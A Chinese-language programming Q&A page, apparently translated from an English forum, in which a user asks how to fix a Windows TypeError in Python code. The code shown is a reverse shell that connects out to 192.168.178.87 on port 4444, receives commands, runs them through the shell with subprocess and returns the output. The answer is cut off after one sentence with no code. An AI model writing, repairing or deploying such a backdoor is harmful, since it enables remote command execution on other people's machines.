我试图在python3
上的远程pc上使用windows
系统命令,但它似乎不起作用。
当我尝试键入“dir”以列出远程pc上的命令时,我的windows终端出现异常
raise TypeError('bytes args is not allowed on Windows')
我知道我需要把它转换成字节,我猜?但是如何使用变量来实现这一点呢
import socket
import subprocess
def execute_system_command(command):
return subprocess.check_output(command, shell=True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("192.168.178.87", 4444))
connection.send(b"\n[+] Connection established.\n")
command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(b(command_result))
connection.close()
尝试编码然后解码命令:
然后:
相关问题 更多 >
编程相关推荐